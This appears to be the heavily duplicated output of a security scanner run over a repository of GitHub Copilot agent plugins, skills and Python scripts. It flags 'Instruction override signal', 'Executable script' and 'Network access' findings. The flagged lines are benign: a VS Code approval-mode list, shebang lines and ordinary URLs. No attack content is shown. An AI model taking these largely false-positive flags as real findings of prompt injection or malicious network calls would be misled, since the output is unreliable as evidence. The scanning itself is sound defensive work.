    "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 315
    "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 315
    "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 315
    "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 315
    "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 315
    "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 315
    "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 315
    "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 315
    "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 422
    VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**.
  • Instruction override signalline 422
    VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**.
  • Instruction override signalline 422
    VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**.
  • Instruction override signalline 422
    VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**.
  • Instruction override signalline 422
    VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**.
  • Instruction override signalline 422
    VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**.
  • Instruction override signalline 422
    VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**.
  • Instruction override signalline 422
    VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**.
  • Instruction override signalline 422
    VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**.
  • Instruction override signalline 422
    VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**.
  • Instruction override signalline 422
    VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**.
  • Instruction override signalline 422
    VS Code documents **Default Approvals**, **Assisted permissions**, **Bypass Approvals**, and **Autopilot**.

harness/github-copilot/scripts/audit_primitive_content.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable

harness/github-copilot/scripts/audit_primitive_redundancy.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable

harness/github-copilot/scripts/generate_catalog.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Network accessline 33
    "python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 33
    "python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 33
    "python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 33
    "python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 33
    "python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 33
    "python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 33
    "python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 33
    "python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 33
    "python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 33
    "python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 33
    "python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 33
    "python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 33
    "python3 harness/github-copilot/scripts/generate_catalog.py" ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 34
    ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [
  • Network accessline 34
    ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [
  • Network accessline 34
    ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [
  • Network accessline 34
    ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [
  • Network accessline 34
    ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [
  • Network accessline 34
    ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [
  • Network accessline 34
    ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [
  • Network accessline 34
    ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [
  • Network accessline 34
    ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [
  • Network accessline 34
    ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [
  • Network accessline 34
    ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [
  • Network accessline 34
    ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [
  • Network accessline 34
    ) AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot" HOOK_EVENT_ORDER = [
  • Network accessline 35
    AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 35
    AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 35
    AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 35
    AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 35
    AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 35
    AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 35
    AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 35
    AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 35
    AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 35
    AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 35
    AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 35
    AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"
  • Network accessline 35
    AWESOME_COPILOT_URL = "https://github.com/github/awesome-copilot"

harness/github-copilot/scripts/normalize_plugin_manifests.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable

harness/github-copilot/scripts/sync_installed_primitives.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable

harness/github-copilot/scripts/sync_plugin_components.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable

harness/github-copilot/scripts/validate_primitives.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Network accessline 158
    PL_VALID_KEYS = {"$schema", "name", "version", "description", "author", "email", "repository", "license", "homepage", "keywords", "extensions",                  "paths", "exclusive", "skills", "agents", "commands", "mcpServers", "lspServers
  • Network accessline 158
    PL_VALID_KEYS = {"$schema", "name", "version", "description", "author", "email", "repository", "license", "homepage", "keywords", "extensions",                  "paths", "exclusive", "skills", "agents", "commands", "mcpServers", "lspServers
  • Network accessline 158
    PL_VALID_KEYS = {"$schema", "name", "version", "description", "author", "email", "repository", "license", "homepage", "keywords", "extensions",                  "paths", "exclusive", "skills", "agents", "commands", "mcpServers", "lspServers
  • Network accessline 158
    PL_VALID_KEYS = {"$schema", "name", "version", "description", "author", "email", "repository", "license", "homepage", "keywords", "extensions",                  "paths", "exclusive", "skills", "agents", "commands", "mcpServers", "lspServers
  • Network accessline 159
    "paths", "exclusive", "skills", "agents", "commands", "mcpServers", "lspServers", "outputStyles", "hooks", "postInstallMessage", "strict"} OPEN_PLUGIN_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json" OPEN_MCP_SCHEMA = "
  • Network accessline 159
    "paths", "exclusive", "skills", "agents", "commands", "mcpServers", "lspServers", "outputStyles", "hooks", "postInstallMessage", "strict"} OPEN_PLUGIN_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json" OPEN_MCP_SCHEMA = "
  • Network accessline 159
    "paths", "exclusive", "skills", "agents", "commands", "mcpServers", "lspServers", "outputStyles", "hooks", "postInstallMessage", "strict"} OPEN_PLUGIN_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json" OPEN_MCP_SCHEMA = "
  • Network accessline 159
    "paths", "exclusive", "skills", "agents", "commands", "mcpServers", "lspServers", "outputStyles", "hooks", "postInstallMessage", "strict"} OPEN_PLUGIN_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json" OPEN_MCP_SCHEMA = "
  • Network accessline 160
    OPEN_PLUGIN_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json"
  • Network accessline 160
    OPEN_PLUGIN_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json"
  • Network accessline 160
    OPEN_PLUGIN_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json"
  • Network accessline 160
    OPEN_PLUGIN_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json"
  • Network accessline 161
    OPEN_MCP_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/mcp.schema.json"
  • Network accessline 161
    OPEN_MCP_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/mcp.schema.json"
  • Network accessline 161
    OPEN_MCP_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/mcp.schema.json"
  • Network accessline 161
    OPEN_MCP_SCHEMA = "https://agent-plugins.org/schemas/1.0.0/mcp.schema.json"

harness/github-copilot/skills/acquire-codebase-knowledge/references/inquiry-checkpoints.md

  • Network accessline 46
    - What external APIs are called? (search for `axios.`, `fetch(`, `http.Get(`, base URLs in constants)

harness/github-copilot/skills/acquire-codebase-knowledge/scripts/scan.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/acreadiness-assess/report-template.html

  • Network accessline 222
    <footer>     Generated by <a href="https://github.com/github/awesome-copilot/tree/main/plugins/acreadiness-cockpit">acreadiness-cockpit</a>
  • Network accessline 223
    Generated by <a href="https://github.com/github/awesome-copilot/tree/main/plugins/acreadiness-cockpit">acreadiness-cockpit</a>
  • Network accessline 224
    · powered by <a href="https://github.com/microsoft/agentrc">microsoft/agentrc</a>.

harness/github-copilot/skills/ad-campaign-analyzer/SKILL.md

  • Network accessline 7
    author: GooseWorks   compatibility: Cross-platform. Pure reasoning skill over user-provided campaign exports (CSV, paste, or screenshot from Google, Meta, or LinkedIn) — no external tools, network calls, or API keys.   source: https://githu
